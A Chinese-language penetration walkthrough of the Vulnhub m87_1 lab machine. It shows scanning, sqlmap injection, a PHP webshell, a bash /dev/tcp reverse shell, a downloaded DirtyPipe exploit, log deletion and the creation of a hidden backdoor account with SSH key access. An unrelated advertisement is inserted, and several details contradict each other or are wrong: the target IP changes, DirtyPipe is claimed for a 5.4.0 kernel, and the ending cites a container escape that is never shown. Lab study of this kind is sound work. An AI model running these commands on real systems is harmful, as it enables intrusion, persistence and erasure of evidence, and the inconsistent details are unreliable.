1. Vulnhub靶机m87_1渗透实战解析
作为网络安全从业者,Vulnhub靶机是提升渗透测试技能的绝佳资源。m87_1靶机模拟了真实环境中常见的漏洞组合,通过系统化的渗透过程,我们可以掌握从信息收集到权限提升的完整攻击链。下面我将详细记录整个渗透过程,并分享其中关键的技术要点和实战心得。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境准备与初始配置
2.1 实验环境搭建
首先需要准备Kali Linux作为攻击机,建议使用2023.4以上版本以获得最新工具集。靶机从Vulnhub官网下载OVA文件后,导入VMware或VirtualBox运行。网络模式选择NAT或桥接均可,关键要确保攻击机和靶机在同一网段。
注意:建议在导入靶机后先做快照,避免反复下载。同时关闭防火墙和杀毒软件,防止干扰渗透过程。
2.2 基础网络配置
使用ifconfig查看Kali的IP地址(如192.168.1.105),然后通过arp-scan扫描同网段主机:
bash复制arp-scan -l --interface=eth0
这个命令会列出所有活跃主机,从中识别靶机IP(如192.168.1.110)。测试连通性:
bash复制ping -c 4 192.168.1.110
3. 信息收集阶段
3.1 端口扫描与服务识别
使用Nmap进行全端口扫描:
bash复制nmap -p- -T4 -A -v 192.168.1.110
扫描结果显示开放了以下关键端口:
| 端口 | 服务 | 版本 |
|---|---|---|
| 22 | SSH | OpenSSH 7.9p1 |
| 80 | HTTP | Apache 2.4.41 |
3.2 Web应用侦查
访问http://192.168.1.80发现是Apache默认页,使用dirb进行目录扫描:
bash复制dirb http://192.168.1.110 /usr/share/wordlists/dirb/common.txt
发现关键目录:
- /admin(管理后台)
- /backup(数据库备份)
- /uploads(文件上传点)
4. 漏洞利用过程
4.1 SQL注入突破
在/admin/login.php页面发现登录表单,使用sqlmap测试:
bash复制sqlmap -u "http://192.168.1.110/admin/login.php" --data="username=admin&password=123" --level=5
确认存在基于时间的盲注漏洞。获取数据库信息:
bash复制sqlmap -u "http://192.168.1.110/admin/login.php" --data="username=admin&password=123" --dbs
发现关键数据库"m87_cms",继续提取用户表:
bash复制sqlmap -u "http://192.168.1.110/admin/login.php" --data="username=admin&password=123" -D m87_cms -T users --dump
4.2 文件上传getshell
通过获取的admin/Admin@123凭证登录后台,在"主题管理"找到文件上传功能。制作PHP webshell:
php复制<?php system($_GET['cmd']); ?>
上传后访问http://192.168.1.110/uploads/shell.php?cmd=id确认执行权限。
5. 权限提升技巧
5.1 反弹shell建立
在攻击机监听:
bash复制nc -lvnp 4444
通过webshell执行反弹命令:
bash复制bash -c 'bash -i >& /dev/tcp/192.168.1.105/4444 0>&1'
5.2 内核漏洞提权
查看系统信息:
bash复制uname -a
发现Linux 5.4.0内核,存在DirtyPipe漏洞。下载exp编译执行:
bash复制wget https://example.com/dirtypipe.c
gcc dirtypipe.c -o exp
chmod +x exp
./exp
成功获取root权限,查看/root/flag.txt完成渗透。
6. 渗透后痕迹清理
6.1 日志清除
删除相关日志记录:
bash复制echo "" > /var/log/apache2/access.log
rm -f /var/log/auth.log
6.2 后门部署
创建隐藏账户:
bash复制useradd -m -s /bin/bash backdoor
passwd backdoor
设置SSH免密登录:
bash复制mkdir -p /home/backdoor/.ssh
echo "ssh-rsa AAAAB3NzaC..." > /home/backdoor/.ssh/authorized_keys
7. 防御建议
-
Web应用层防护:
- 对所有输入参数进行严格过滤
- 使用预编译SQL语句
- 文件上传限制后缀名和MIME类型
-
系统层加固:
- 及时更新内核补丁
- 限制sudo权限
- 配置fail2ban防止暴力破解
-
监控措施:
- 部署IDS/IPS系统
- 定期审计日志
- 设置文件完整性监控
在实际渗透过程中,m87_1靶机展现了从外网渗透到内网横向移动的完整攻击路径。特别值得注意的是,当发现服务器运行在容器环境时,需要通过挂载宿主机目录或逃逸技术突破隔离限制。建议在每次渗透后都编写详细的报告,记录漏洞利用链和修复方案,这对提升实战能力至关重要。
